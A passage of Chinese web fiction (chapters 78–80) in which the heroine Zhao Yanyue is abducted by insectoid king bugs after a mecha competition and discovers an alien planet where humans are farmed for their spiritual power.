“但是和S级王虫打一架真的能进步飞快诶！高等级虫族都是战斗天才，更别说S级王虫，要是它们愿意当陪练的话……” “楼上在做什么春秋大梦？嫌自己精神海污染得不够快的可以去试试哈，不怕死的也可以去试试。” “我回来了，刚才蹲在X-0019队伍的直播间里围观，他们三个的观后感笑死我了，说要封许白亦和垃圾女王为202届新星杯敢死队。” “鉴定为地狱笑话。” 第78章 骸骨荒原的西南角, 又一个S级王虫被许白亦和赵宴月一起击杀，身躯砸落在地上激起一阵骨尘。 赵宴月半跪在地上大口喘息着，身上似乎还残留着对战时的幻痛。 许白亦的状态同样狼狈, 只不过还能勉强站立住。 S级王虫确实不好对付, 即便不需要再考虑污染问题，对两人来说也是相当强劲的对手。 江茂茂原本站得老远, 见状立马开着机甲上前嘘寒问暖，连递给队友的矿泉水都拧好了瓶盖。 “稳了稳了！比赛还有三分钟结束，我们现在的积分绝对稳了。” “爽。” 赵宴月累得不行, 也顾不得地上脏不脏了，虚脱地往后一倒, 反正她自己身上也没干净到哪里去。 王虫那千变万化的金属操控和凌厉刁钻的近身格斗技巧确实很能折磨人，但只要有意识地模仿对方的发力方式和攻击角度，挨几次打绝对不亏, 就当是交学费。 许白亦长长吐出一口带着血腥味的浊气, 紧绷的神经也稍稍松懈下来，缓缓坐倒在地。 他的目光停留在刚刚击杀的S级王虫残骸上, 想了想道：“听说赛事主办方这几天额外安排了不少S级机甲尖兵进入安保组保障选手安全，但是除了大批选手被淘汰, 这些S级王虫好像并没有造成太大影响。” 许白亦这么一说, 江茂茂也赞同地点点头：“S级王虫的数量也不多, 就跟来这玩一趟似的, 显得安保组那么多大佬都大材小用了。” 说到这, 他忽然又猜测道：“可能等会儿选手离开秘境后，秘境里就是安保组大佬和王虫的厮杀的战场。” “大家都猜测王虫是奔着选手来的，选手离场后王虫应该不会再进秘境，毕竟它们进秘境并不容易。” “也对。”江茂茂眨了眨眼, 嘴巴很毒道：“虽然这么说有些缺德，但是它们压根没能杀死任何一个选手，感觉比我想象中菜多了……这是能说的吗？” “王虫没办法从秘境里降临到天市星上，选手退出秘境后它们也没办法。”许白亦明显已经近墨者黑，说到这教唆起了江茂茂：“你要是觉得菜可以自己去试试S级王虫的水平。” “……那还是算了。” 说是这么说，许白亦其实也觉得S级王虫比他想象中好像要弱一点，但是又觉得可能是因为不用考虑精神海污染的原因。 话音刚落，悠长而庄重的钟声从悬浮舰上传来，穿透了荒原的风声响彻了整个骸骨荒原。 伴随着结束的钟声响起，选手身边的电蝇蛾准时关闭直播间暂停计分，回到了悬浮舰各自媒体身边。 钟声的余韵仿佛还在解说厅内回荡，东三春压下最后两天解说带来的疲惫和激动，看向了镜头。 “各位观众，伴随着宣告终结的钟声，202届新星杯正式尘埃落定。” 贝山晴默契地接上：“这十天的赛程是浓缩了汗水、鲜血、智慧与勇气的十天，不管积分排名如何，每一位坚持到最后的选手都是当之无愧的精英。” 东三春的目光扫过光屏上最终定格的、密密麻麻的队伍排名，做了个总结道：“202届新星杯的整个赛程都充满了惊喜与挑战，有3S小队稳扎稳打，以无可争议的积分名列前茅，展现了顶尖3S队伍的深厚底蕴与战术素养，也有不少3A队伍敢打敢拼，用坚韧不拔的意志在新星杯里杀出一条血路，更有像X-4018小队这样的黑马队伍，仅凭两天时间从第99名逆袭到第9名，书写了新星杯历史上逆袭的传奇。” “是的，众多队伍都展现出了无畏的勇气与互助的精神，无论是正面硬撼强敌还是智取周旋，都构成了本届新星杯动人心魄的篇章。” “好了各位选手们，新星杯的结束绝非终点，前100名不仅仅是一张通往联邦军校联赛的门票，更是一份沉甸甸的责任与期待，以后等待你们的是联邦军校联赛更广阔的舞台，本届新星杯到此圆满结束，感谢所有选手的拼搏，感谢所有观众的支持，请选手们尽快离开秘境参与净化仪式。” 随着一直停留在云层之上的悬浮舰撤离秘境，祁燃见直播间已经关了，有些意犹未尽：“看不见殿下了，怅然若失啊怅然若失。” 左逸摸了摸头道：“直播间关这么快，没亲眼看到殿下出秘境还有点不放心，毕竟秘境里还有S级王虫。” “他们队伍这两天杀了不少S级王虫，再说新星杯已经结束，真遇上了出秘境也就两秒的事。” “也对，不过S级王虫怎么会想到来秘境里击杀选手，它们进秘境难不说，选手出秘境也再简单不过了，简直就是伤敌八百自损一万。” 奚和此时声音冷淡地插话道：“殿下应该已经出来了吧，最后再看一眼女神就回紫微星。” 祁燃：“你的女神变得真快，之前不还是许清雪殿下吗。” 奚和：“不好意思，兄弟的女神就是更香。” 左逸：“……” 选手们如潮水般从秘境出口涌出，疲惫、兴奋、失落、释然……各种情绪交织在一张张年轻的脸上。 媒体记者们早就严阵以待，四处巡视着前100名的队伍，闪光灯和提问声此起彼伏。 “许白亦选手！你们队伍最后两天越级击杀了数个S级王虫，请问你现在精神海的污染值到达了多少？” “江茂茂选手，请问你为什么会想到使用手工打造机甲进入机甲尖兵系？你觉得这种方法可以向大众推广吗？” “赵宴月选手，请问在不驾驶机甲的情况下直面S级虫族是什么感觉？” “赵宴月选手！恭喜闯进前十名！我是‘星闻速递’的记者小星，我们平台一开始就押注了你的直播间，你比赛期间的专属电蝇蛾就是我们媒体提供的！你直播间的热度一直超群绝伦，请问你对支持你的‘星闻速递’会员们有什么想说的？未来联赛……” “赵宴月选手……？赵宴月选手人呢？” 许白亦和江茂茂被媒体簇拥着，然而周围挤在一起的人里并没有赵宴月的身影。 对啊，明明是和他们一起出来的，她人呢？ 赵宴月此时还在死灵秘境里。 就在许白亦和江茂茂踏出秘境后，她的脚步刚踏进秘境出口却碰到了阻碍。 秘境外面似乎被未知的壳笼罩住了，召唤出来的秘境之门和外界中间仿佛隔了一层镜面，这层镜面彻底封锁了整个秘境。 整个骸骨荒原仿佛刹那间变得空旷而寂静，只剩下呼啸的风声。 数个S级王虫不知何时齐齐立于她的上方，为首的S级王虫头顶的触角晶莹剔透，目光中带着一种俯瞰蝼蚁般的漠然。 它没有攻击也没有咆哮，只是静静地悬浮在赵宴月面前，也无视了她身边近在咫尺的秘境出口——仿佛早就知道她出不去一般。 赵宴月瞳孔一缩，刚才许白亦和江茂茂的闲聊声重新回响在耳边，在电光火石间串联出一个真相。 为什么王虫一个选手都没能击杀，因为要加深选手可以随时出秘境的印象。 为什么这两天他们队伍最多也就遇到过两个王虫，就算战斗的过程艰难，但每次最后都能被她和许白亦击杀。 因为要放松安保组的警惕——方便利用撤离流程中安保力量出现短暂真空的规则缝隙，实施这次目标明确的精准绑架。 完蛋啦。 击杀了一天的虫族，赵宴月的精神力本就已经储存不多。 剩下的精神力差不多刚好和四面八方的污染抵消，连机甲都召唤不出来。 眨眼间，赵宴月只感受到有冰凉的体温贴了上来，然后就脖子一疼眼前一黑。 意识如同被投入了无底的深渊般瞬间沉沦，最后的感知是身体被一股无法抗拒的空间力量包裹拉扯。 秘境外漆黑而绚烂的宇宙中，王虫淡漠的目光扫过S级王虫手里的人，抬手间便解除了空间禁锢。 此时刚踏出秘境的选手摸了摸脑袋，和同伴发出奇怪的疑惑：“刚才秘境出口好像卡bug了，锁了五六秒然后又好了。” “秘境能卡什么bug，别管了快走，净化仪式要开始了！” …… 意识从无边的黑暗中挣扎着上浮。 首先感知到的是身下传来的奇异触感，一种温润有弹性，又带着点生命律动感的支撑。 赵宴月掀开沉重的眼皮，视野逐渐从模糊变得清晰，映入眼帘的景象让她微微一愣。 她躺在一个极为宽敞的“房间”里，墙壁和地板包括天花板都是由一种流动着青紫色微光的未知材质构成，仿佛某种巨大植物的内壁。 墙壁上攀爬着细密的如同血管般的根茎，它们缓慢地搏动着，像是电路般点亮了天花板上垂下来的花蕊。 花蕊像是被纯净的水晶雕琢而成，上面流淌着液态的光，看着很精致漂亮，但只发挥了灯泡的作用。 整个空间笼罩在一种病态而瑰丽的青紫色调中，静谧无声，带着一种超越现实的诡异美感，还弥漫着一丝甜香。 “醒了？”一个慵懒的女声从旁边传来。 赵宴月听到人声转过头，只见房间另一侧同样不明材质的“床榻”上斜倚着一个年轻女子。 她看起来二十出头，容貌姣好，穿着一身质地柔软款式简单又裁剪合体的银灰色长袍，长发随意披散着。 舒依凡打量了旁边的人一眼，语气带着一丝不易察觉的优越感，“我叫舒依凡，你是刚构建好精神海的新人？” 赵宴月头脑风暴了片刻，然后问道：“这里是什么地方？” 没记错的话，她应该是被虫族抓走了。 然而睁开眼不但没看见虫族的踪影，反倒眼前还出现一个穿得不符合三垣星系穿搭风格的人类。 “什么地方？”舒依凡被她这个问题问得皱了皱眉，她手指随意地拂过墙壁上搏动的根茎：“我们的家啊，外面的人也把这片区域叫做青晶宫。” 赵宴月怀疑自己约摸是又穿越了：“什么外面的人？” “你怎么什么都不知道，还是说你不是从蜂巢里出来的？” 舒依凡换了个更舒服的姿势，看向赵宴月的目光起了点兴致：“外面的人就是那些精神海品质低劣的人，他们都挤在金属蜂巢里，等着父亲大人定时投喂那些难吃的营养剂，日复一日地祈祷自己的精神海别那么快崩溃……只有精神海品质够高的人才能住进青晶宫。” 她说到这，语气陡然变得轻蔑起来，还带着毫不掩饰的鄙夷：“那些低等人类，时不时就会头疼发疯，一旦精神海崩溃就会被丢出蜂巢自生自灭，没有了父亲大人的庇护，没有人能在外面活过半个月，哪像我们……” 舒依凡环视着这间散发着柔和光芒、充斥着清甜气息的房间，脸上露出满足的微笑：“我们是不一样的。” 仿佛为了印证她的话，流动着青紫光芒的墙壁无声地滑开一道缝隙——一具机甲走了进来。 赵宴月在来人头顶的两根触角上停留一瞬。 破案了，不是机甲，是B级虫族。 它头顶两根纤细的触角微微颤动着，没有发出任何声音，只是推着一辆同样由荧光材质构成的小车走了进来。 车上整齐地摆放着数个半透明的水晶杯，里面盛满了散发着浓郁甜香的、色泽如同液态黄金般的粘稠液体。 看着像是蜂蜜。 B级虫族散发的污染让舒依凡有些不悦，而B级虫族似乎也知道自己不能在这里久待。 它动作很快地将两杯花蜜放在房间里一个凸起的晶体平台上，然后便推着小车无声无息地离开了这个房间。 墙壁重新闭合，仿佛从未开启过。 舒依凡习以为常地端起自己的花蜜小口啜饮起来，脸上露出享受的表情：“这可比营养剂好喝多了，真不敢想之前在蜂巢里过的都是什么苦日子。” 赵宴月没见过这种虫族和人类和谐相处的诡异场面，头脑已经风暴不动了。 见舒依凡还陶醉在花蜜里，赵宴月看了眼光脑发现连不上网，干脆在心里呼叫起撒因。 赵宴月是连不上网，但是撒因作为高维生物，还徜徉在星网的海洋里。 【怎么了，我正在和网友吵架，现在正吵到紧要关头】 “你要不要看看我现在在哪里。” 撒因安静了一会儿，似乎在扫描信息又是干别的，然后才重新上线。 【距离三垣星系数千万公里之外的未知星球，大概位于-3°5484311.34，98.464度】 “所以呢。” 撒因后知后觉。 【诶？你怎么跑这么远来了】 【这颗星球位于三垣星系的边缘，联邦目前都探索不到，连航线都没有】 “能给我送回去吗？” 唉。 撒因比划了一下自己的能量条。 经过新星杯后，赵宴月的人生又成功了不少，能量条好不容易往上窜了窜。 还没感受完这种快乐的感觉，能量还没捂热乎又要被败家宿主用掉了。 撒因心里伤心，但撒因不说。 【可以】 “那没事了，继续吵架去吧，没吵赢别说是我的统，丢死人了。” 【我会努力的】 有了撒因这句话，赵宴月顿时安详地躺了回去。 虫族明显知晓靠她自己回不去，看起来对她很放心，但是她开了挂。 什么档次也敢抓她。 她倒要看看虫族和这里的人类究竟是怎么个事。 想到天市星上的人发现她不见了估计会着急，赵宴月干脆让撒因给天市星的第六席执政官发了消息。 【被虫族抓走了，这个星球你们来不了，一切安好，勿念】 撒因作为信息代发人，沉默了好一会儿才发表评价。 【这信息发了还不如不发，起不到任何能让人放心的作用】 它记得曾经赵宴月离开地球时写的小纸条也是这死出——被绑架到外太空了，有空就回。勿念。 “那你别管，我有自己的节奏。” 就在这时，墙壁再次无声开启。 这一次走进来的身影并不高大，但它的存在感似乎让整个房间的光线都黯淡了一瞬。 S级王虫。 ——但是似乎比秘境里遇到的S级王虫压迫感还要更强一些。 S级王虫散发的污染让赵宴月精神海里的精神力一点点湮灭，但这些空缺很快又被新生的精神力填补上，总体的变化并不算大。 倒是旁边舒依凡的表现有些奇怪。 之前B级虫族散发的污染明显让她有些不悦，但是面对此时更加浓重的污染，她看向S级王虫的表情却变得十分恭敬——甚至带着一丝难以抑制的期待。 她迅速放下手里的水晶杯，微微垂下头，姿态温顺道：“父亲大人。” S级王虫的目光在赵宴月身上停留了一瞬，带着一丝冰冷的审视感，但它很快移开视线锁定了舒依凡。 舒依凡顺从地抬起头闭上眼，长长的睫毛微微颤抖着，并非恐惧，更像是一种献祭前的准备。 王虫歪了歪头，头顶看着纤细而脆弱的触角无声无息地向前延伸，轻轻抵在了舒依凡右侧的太阳穴上。 没有破皮，没有流血，仿佛只是轻轻的接触。 赵宴月瞳孔骤缩。 她能清晰地感觉到一股蕴含着净化因子的精神力，正通过那根触角从舒依凡的太阳穴被缓缓抽取出来。 舒依凡的精神力如同被打开的泉眼，源源不断地流向王虫。 她的身体微微绷紧，脸上浮现出一种混合着痛苦与奇异愉悦的潮红，喉咙里里发出一声压抑又带着奇异满足的叹息。 整个过程并没有持续多久，舒依凡抵抗污染本就消耗了不少精神力，精神海里剩下的精神力本就不多，堪堪被吸食了片刻便枯竭。 王虫的触角收了回去，舒依凡身体一软瘫倒在床榻上，她大口喘息着脸色有些苍白，但眼神却更加明亮。 甚至目送王虫离开的目光里充满了病态的敬畏与依赖。 赵宴月：“……” 亲眼目睹被王虫吸□□神力的场面，对她来说无异于看了一集恐怖片。 虽然舒依凡的太阳穴上看着没有任何伤口，但是这和被吸血鬼吸血有什么区别。 舒依凡缓了一会儿才支撑着坐起来，她看向赵宴月，声音带着一丝虚弱却依旧傲慢：“看什么看？被父亲大人采撷是我们的荣耀。” 赵宴月完全找错了重点：“……你管S级王虫叫父亲大人，那你管A级王虫叫什么？” 舒依凡似乎对她嘴里的等级有些疑惑：“父亲大人就是父亲大人，比父亲大人更尊贵的只有王……听说王刚诞生没多久呢。” 赵宴月听到这话两眼一睁，在床上来了个仰卧起坐。 比S级王虫更尊贵的王，那不就是王虫。 但是王虫不是死了八百年了吗——准确来说是202年。 公元5366年席以宁成功斩杀王虫，这一年被正式命名为三垣星历1年，而现在是星历202年。 舒依凡说王虫刚诞生没多久，也就是虫族不久前诞生了一位新的王虫。 恐怖片。 这绝对是恐怖片。 赵宴月思及此，顿时看向舒依凡问道：“你见过王虫吗……我是说你见过王吗？长什么样？” “我怎么可能见过王。” “它没来吸过你的精神力？” 舒依凡脸色一黑，还以为她在嘲讽自己，不爽道：“王一来大家精神力全空了，没有人可以被王采撷，你是在觊觎王吗？” 赵宴月：“……” 她很难说清现在的情况到底是谁在觊觎谁。 第79章 自从星闻速递的记者发现赵宴月不见后, 安保组的成员立马察觉到不对劲。 即便现在有些选手还待在秘境里，但殿下的队友都出来了，她怎么会不见人影。 关于赵宴月的事容不得大意, 安保组一部分人迅速返回了死灵秘境寻找, 另一部分人则来回扫视着周围拥挤的人群。 许白亦没看到赵宴月也是眉头紧锁，他们队伍三个人几乎是同时出秘境的, 但现在的结果是只有他和江茂茂出来了。 按照赵宴月的性格来说，就算她真有什么事要在秘境里停留，绝对不会一声不吭地消失。 一想到赵宴月还是S级净化师, 许白亦眼前一黑，差点没喘过来气。 见安保组的大佬直奔这边而来, 媒体们稍稍让开了一条道，许白亦知道联邦高层对赵宴月的身份心知肚明，见状也没有惊讶。 祁燃看向许白亦询问道：“你们当时出秘境时是什么情况？殿……她有和你们说过什么吗？” 许白亦将当时的每一个细节都反复回忆了一遍, 最终摇了摇头：“出秘境时一切正常, 按理来说她当时是和我们一起出的秘境。” “是说赵宴月吗？”江茂茂见大佬们神色冷得快要变成冰碴子掉下来，嗅到了不妙的味道。 他收起起了平时那副乐呵呵的模样, 有些疑惑赵宴月就几秒不见，怎么安保组就找上来了。 “现在好像还有不少选手没出来, 她可能等会儿就出来了, 是找她有事吗？” 周围正在围观安保组大佬的选手闻言插话道：“是在找人吗？可能秘境又卡了, 我之前出来的时候秘境就卡了几秒。” 安保组中立马有人走过去询问：“你说的秘境卡了具体是什么情况？” 选手没想到自己一句话会引起大佬的重视, 于是一脸茫然地回忆道：“刚才我出秘境的时候有几秒时间出不去, 就感觉门外被什么东西堵住了一样，但是很快就好了。” 安保组听完目光更加冷厉得吓人，“殿下只是在秘境里稍微耽搁了一会儿”的可能性再次降低，线索完全指向了最坏的可能。 而此时悬浮舰指挥室里的人接到消息也迅速做出了反应, 在林振的指令下调出了悬浮舰脱离秘境之前的监测数据。 “在安保组撤离出秘境后，秘境壁垒有将近5秒时间的监测数据完全静止，出现了毫无波动的异常状态。” 就在这句话话音落下的同时，一道道全息通讯屏幕骤然亮起，数道坐在书桌后的身影同时出现在屏幕中。 紫微星、太微星、天市星的几位重要执政官直接打来了视频会议，明显都消息极其灵通。 身姿笔挺的男人放下手中的钢笔，他没有多余的寒暄，但开口第一句话就仿佛敲在了众人的心上。 “林执政官，所以现在的情况就是殿下在你们天市星、在安保组的眼皮子底下失踪了？” 天市星第六席执政官沉默良久，她心中在想什么无人知晓，脸上的神情看不出喜怒：“闻执政官，现在不是问责的时候吧。” 一道微微年迈的声音在此时响起，打断了空气中的僵持：“现在最重要的是理清殿下是怎么神不知鬼不觉失踪的，是虫族还是人为。” “纯生教还没有能短短几秒把人劫走的手段，这种情况必定是王虫出手了。” 此话一落，指挥室顿时安静了起来，一时间没有人再说话。 执政官自然都明了这个“王虫”指的是什么王虫。 虫族唯有王虫会具备除了操控金属以外的天赋能力——比如让整个死灵秘境莫名其妙维持了五秒的、类似空间封锁的能力。 之前联邦对虫族是否有了新王虫还仅仅停留在猜测之上，如今王虫的存在几乎已经无可置疑，让人心头一重。 一道女声打破了此刻的寂静：“既然如此，现在的当务之急是找到高等级虫族的虫巢，全力解救殿下。” “说得倒是简单，高级虫族的虫巢在哪至今无人知晓，远征军清缴了边缘星上那么多虫巢，全都是只能孕育出B级以下低等虫族的虫巢。” 虫族的信息网络十分强大，每当有虫巢收到攻击，高等级虫族都能接收到消息。 高等级虫族有时会赶来支援，但是大部分时候它们都任由联邦清缴，似乎对低等虫族并不太在意。 毕竟低等级虫族和高等级虫族看起来不算完全的同根同源。 低等级虫族由虫母产出的虫卵孵化，包括寄生虫族在内，它们的食物是一切肉类，对精神力并不感兴趣。 由于虫母产出的虫卵里根本孵化不出高等级虫族，目前最有可能的专家推断是，高等级虫族和灵兽一样，都属于自然孕育。 高等级虫族曾经的食物是灵兽蛋，而灵兽的食物是虫族晶源。 双方都是天生地养，所以你捕猎我我捕猎你也能达到平衡。 现在这种平衡显然被打破了，灵兽出秘境后可以和人类进行契约，只要与人类共享天赋技能就能过上衣来伸手饭来张口的日子，虫族晶源一点不缺。 虫族如今却很难突破秘境去捕食灵兽，但它们也发现了新的食物——人类的精神力。 就在众人被“高等级虫族的虫巢在哪”这个问题难住之际，沉默了许久的天市星第六席执政官突然有了动作。 她目光扫过光脑上弹出的信息，脸上的肌肉微微抽动，交织出一种难以置信的表情。 【被虫族抓走了，这个星球你们来不了，一切安好，勿念】 虽然说来不了，但是这条信息的下方贴心地附带了“-3°5484311.34，98.464度”的定位信息。 第六席执政官将这条信息投到中央，让自己的声音尽量冷静：“现在有高等级虫巢的位置信息了，这是殿下发来的信息。” 殿下被虫族抓走的事被殿下亲口证实，执政官们看完消息眼前一黑。 闻星洲的目光在这条信息上停了良久，最后闭上眼深深地呼出一口气：“尽快定位出宇宙空间里的跃迁通道，规划航线。” …… 青紫色的光晕在墙壁上流动，面积宽广的全封闭房间里，舒依凡已经睡了过去，方便加速回复精神力。 赵宴月也没再捣鼓光脑，光脑大部分时间都处于信号屏蔽状态，只有偶尔间能接收到微弱信号，基本没法用。 她干脆去了刚刚虫族进来的位置，正打算研究一下怎么出去——结果是感应门，找准位置靠近即开，根本没有锁。 墙壁在她面前无声滑开，一个身形比之前的王虫看着更加纤细的S级王虫恰好出现在眼前。 一人一虫对视了一眼，S级王虫没有言语，径直走到了赵宴月的面前。 它俯下身伸出手臂，动作精准而快速地扣住了赵宴月的腰，然后如同拎起一件物品般，将她整个提了起来扛在了肩上。 赵宴月被扛得猝不及防，只感觉血液瞬间全涌向了脑袋，脸贴着S级王虫冰冷的后背，胃也被肩膀硌得生疼。 “你有没有礼貌。” 她挣扎了一下，发现对方的手臂压在她的腿上纹丝不动，于是只好继续提出诉求：“我自己走。” 扛着她的王虫脚步没有丝毫停顿。 行，很拽。 召唤出机甲也打不过S级王虫，赵宴月懒得做无用功。 脑袋随着王虫的走动一晃一晃，她烦躁得眼睛一眯，指间忽然冒出一团黑红色的火焰，然后揪着眼前不明材质的衣服烧了起来。 王虫衣服修复的速度比不上赵宴月点火的速度，眼看再这么下去裤子都要被她点着了，本来和聋了一样的王虫终于脚步一顿。 衣服上的光芒一亮，被修复完成的同时，赵宴月也被放了下来。 一阵像是人工智能一样发音标准但没有情绪的声音传到耳边：“安静点，跟上。” 第一次听到虫族开口说话的赵宴月有些新奇，但虫族显然并不习惯交流效率如此低下的沟通方式，冷淡地说完便重新安静了下来。 赵宴月视野变得正常后也没再多说什么，好奇地观察起周围的环境。 眼前是一棵占地不知道多少公顷的巨大无比的古树，古树上有一条条由粗壮根茎交织而成的宽阔而平整的道路。 这条根茎道路连接着数量繁多的树木分支，树的分支又连接分支，形成了一条条小路。 道路两旁，是无数大小不一的树屋入口，如同蜂巢般镶嵌在这颗巨树上，像是一座建在树上的宏伟城市。 抬头望去，条条街道没入更高处浓郁得化不开的青紫色光雾之中，仿佛支撑着整个天穹。 而她刚刚离开的“青晶宫”，则位于这颗巨树根部。 从上往下看去这片青晶宫建筑群并不大，即便按照一个宫殿全都住满两个人算，也就能容纳三十个人左右。 如果舒依凡说的蜂巢里的精神海品质低劣的人指的是没有净化天赋的普通人，那么住在青晶宫里的人自然就是净化师。 听起来倒是和云中宫殿有点像，但又有本质上的区别。 云中宫殿的净化师是能净化精神海的祖宗，三垣星系里人人都供着，而青晶宫里的净化师比起普通人只能算作高品质食物，属实是有点同师不同命。 赵宴月思及此，在脑子里快速推算了一下。 已知明珠区拥有八千万人口，那么高三学生的人数约摸在40万人左右。 按照平均每年能出现一名净化师的概率，也就是舒依凡口中的蜂巢里至少拥有一千万以上的人口。 这么多人不可能是王虫从战场上一个个抓回来的吧。 说到战场…… 她那个失踪二十年的便宜爹许奕要是还活着，有没有可能就在蜂巢里。 赵宴月一想到这顿时抬起头，额头撞上前面虫的后背，王虫看了她一眼，冷淡道：“到了，进去吧，王在等你。” 第80章 王的巢穴高悬于巨树之巅, 站在这么高的地方往下看去，整颗星球都被映入眼底，甚至能感受到大地的脉动。 泛着轻微荧光的草木转化出的能量如百川归海般汇聚进这颗巨树, 又经过一层层运输最终在最高处凝结, 化作了一层肉眼可见的青紫色雾气。 踏进房间的瞬间，赵宴月精神海里的精神力就在快速消散, 此消彼长间刚好稳定在剩一半的水平，带着一种轻微的被压制感。 室内的中央是一汪散发着柔和光晕的池水，不知道池子里是什么水, 看着像是一汪液态的月光。 水波轻漾间，一个面容精致得不似凡物的少年悄无声息地从池水中探出头来, 水珠顺着下颌滑落，映出池水的微光。 它头顶两根莹润的触角微微晃动，看过来的目光清澈得如同初雪消融后的湖泊, 却又沉淀着一种非人的的冰冷与漠然。 空气中隐约带着点净化因子的甜美气息, 却因为食物离得太远，似有若无, 难以捕捉。 见赵宴月没有动作，它这才像是想起和人类应该怎么沟通, 声音清越如玉石相击, 带着一种不容置疑的指令感：“来。” 赵宴月抬步慢吞吞地往水池边走去, 心里疯狂给自己做着心理建设。 除非她现在立马回到天市星, 不然被吸点精神力无可避免, 大不了就当被狗咬了一口。 王安静地伏在水池边，视线锁定在她身上，并没有催促，将等待的行为进行得十分纯粹而专注。 因为目光中的非人感太强, 这种注视在赵宴月看来更像是猛兽在观察猎物进入陷阱的最佳距离。 等赵宴月像蜗牛一样挪到水池边时，水面甚至来不及泛起完整的涟漪，她的手腕就被一股冰冷的巨力钳住，眼前瞬间天旋地转。 “哗啦——！” 冰冷刺骨的池水瞬间将两人吞没，哗啦一声溅起一阵水花。 刺骨的水温和窒息感一起传来，等赵宴月刚挣扎着浮出水面，下一秒一根堪称莹白得流光溢彩的纤细触角就无声无息地探了过来。 赵宴月：“！” 明明之前给自己做了半天的心理建设，但现在赵宴月发现自己还建设得不到位。 虽然理智上知道用触角探进精神海也只是吸精神力，但总给人一种被吸了脑髓的恐怖感。 看见探过来的触角，赵宴月的大脑放弃了思考，下意识以迅雷不及掩耳之势手攥住了它。 “唔。” 一声轻微的几乎淹没在水声中的气音从王虫喉间逸出。 触角在赵宴月的掌心微微震颤了一下，微凉的奇异触感让她动作一僵。 对上王虫冷淡看来的目光，赵宴月沉默了一会儿委婉道：“没有不让你吸的意思……能不能换一种方式。” 王虫没说可以还是不可以，只是把纤细的触角从她死死捏着的手里轻而易举地抽了回来。 一只冰凉又骨节分明的手掌慢条斯理地覆上她的手腕，将她重新拉近固定。 触角重新优雅而致命地探向散发着美味气息的食物，经过一次打断，这次已经隐隐散发出一种对进食的迫不及待。 “等等，有话好说。” 赵宴月的手被禁锢住，只好用身体极限后仰，后脑勺几乎要撞破水面。 王虫像是个聋子一样根本不听她说话。 眼见触角离自己越来越近，几乎要贴上自己的肌肤，往后挣脱显然是徒劳。 赵宴月狐狸眼一眯，借着水的浮力忽然发力，借着王虫拉着她的力道猛地撞向它。 冲击力将根本没有防备的王虫“砰”地一声撞得后背贴上了冰冷的池壁。 趁着对方身形一滞的瞬间，赵宴月闪电般抽出手，一只手将它死死抵在池壁上，另一只手则用拇指和中指精准地捏住了它脸颊两侧，微微用力—— 趁王虫微微张开嘴之际，赵宴月强行将食指塞进了它嘴里。 带着净化因子的精神力如涓涓细流般从指尖缓缓流淌出来，王虫的身体几不可察地僵了一下。 它漠然的目光中掠过一丝极淡的、纯粹属于生理性的困惑，但下一秒本能已经驱使着它做出了吞咽的动作。 两根纤细的触角如同得到抚慰般轻轻晃动，上面流淌的光华变得柔和而规律，散发出一种细微的餍足与愉悦。 王虫接受了这种进食方式，赵宴月紧绷的神经松懈了一瞬。 不管是被压到池壁上、被捏脸、还是被塞手指时，王虫身上都没有散发出任何愤怒或羞耻，只有纯粹的困惑和本能的适应。 这种宽容显然源于绝对的实力压制和认知鸿沟——人类的情感和尊严对它而言都毫无意义。 思绪发散间，指尖便被咬得一痛，赵宴月回过神，忍气吞声地加大了精神力的输送量。 直到精神海里的精神力只剩下浅浅一层摇摇欲坠的底子，赵宴月才抽回手。 指尖离开唇瓣的瞬间，一道冷淡的目光便如实质般钉在了她身上。 赵宴月：“……” 这辈子没受过这种窝囊气。 “看什么看？一次吸干下次吸什么？我已经一滴也没有了。” 王虫静静地凝视着她，时间仿佛凝固了几秒，最后它重新沉入了那片散发着光晕的池水中，只留下水面几圈微漾的涟漪。 显然同意了这次进食到此为止。 赵宴月做了个深呼吸才压下不爽，手脚并用地从水池里爬了出去。 双脚脱离池水的刹那，黑红色的火焰从她脚底燃起瞬间席卷全身。 长发和衣摆在熊熊火焰中漂浮着，瞬间烘干了一身的水汽，只留下一团被火焰灼烧后的微热空气。 王虫不知何时又从水面悄然探出了头，湿漉漉的发丝贴在额角，目光又一次落在她身上。 赵宴月盯了回去，然后十分自然地提出诉求：“我不喜欢青晶宫，我要住到蜂巢里去。” 王并不关注食物想住在哪里，只要她在这个星球上就无法脱离自己的掌控。 它的触角晃了晃，等了一会儿才后知后觉地意识到交流方式不对。 “随你。” 巢穴外等待的已经变成了B级虫族，它见到赵宴月后将她从地上拎了起来，放到自己肩膀上坐着。 赵宴月已经快要习惯了虫族拎来拎去的行事方式，好在B级虫族身量庞大，坐在肩膀上也不硌屁股。 B级虫族沉默地沿着根茎道路向下行去，越往下行，空气中那股源自巨树根系的清甜气息便渐渐稀薄，最底层的B级虫族也越来越多。 蜂巢离巨树并不算太远，以巨树为一环，青晶宫的位置大约在二环，蜂巢大概在五环以外。 “蜂巢”建筑群看着并不像是真正的蜂巢，从高处看去就像是中间是中空的、一个个低矮的烟囱。 一幢幢圆形金属楼整整齐齐的排列在一起，每幢大约只有三四层，环形走廊里的房间密密麻麻，里面都是虫族圈养的“食物”。 入口处，一个中年男人笑容可掬地迎了上来，目光从坐在B级虫族肩膀上的赵宴月身上迅速扫过。 他仰视着虫族：“大人，今天7789培养皿的玻璃罐已经收取完毕了，还有什么安排吗？” “给她安排一间住所。” “诶诶，好。” B级虫族将人送到后便离开了。 金属楼内外都不见虫族的身影，只有楼上来往走动的人影，以及眼前大片空地上玩耍的孩童。 等虫族离开，中年男人才仔细打量了赵宴月一眼：“我是这幢蜂巢的巢主P773，你是从外面来的？” 赵宴月收回视线，反问道：“你说的外面是指哪个外面？” “外面就是外面。” 自称是巢主的中年男人带着她往楼上走，声音带着点从容的意味：“反正你不是在蜂巢里出生的本地人，那就是从外面来的，每隔一段时间都会送一批外面的人进来，这很正常。” 蜂巢里的环境看着其实还不错，赵宴月问道：“这里没有虫族过来吗？” “那是‘大人’，除非蜂巢遇到怪物攻击，否则大人不会和我们接触。” 赵宴月心里难得升起了一股诡异感。 以虫族根本懒得和人类说话的性格来看，“大人”绝对不是它们要求喊的，这些被圈养的人类指定都有点斯德哥尔摩了。 宽阔走廊里时不时有目光齐刷刷地聚焦在巢主身上。 敬畏、羡慕……还有一丝丝深藏在眼底的野心，似乎不少人都对他巢主的位置觊觎已久。 巢主对此习以为常，甚至透出一丝乐在其中的意味，十分享受这种目光。 他将赵宴月带到顶层四楼的4-123室停下，透着精明感的眼睛里含着笑意看了过来，语气十分自然地打探：“你倒是比那些从外面过来的人冷静得多，大人还特意叮嘱不需要收取你的玻璃罐……你能告诉我原因吗？” 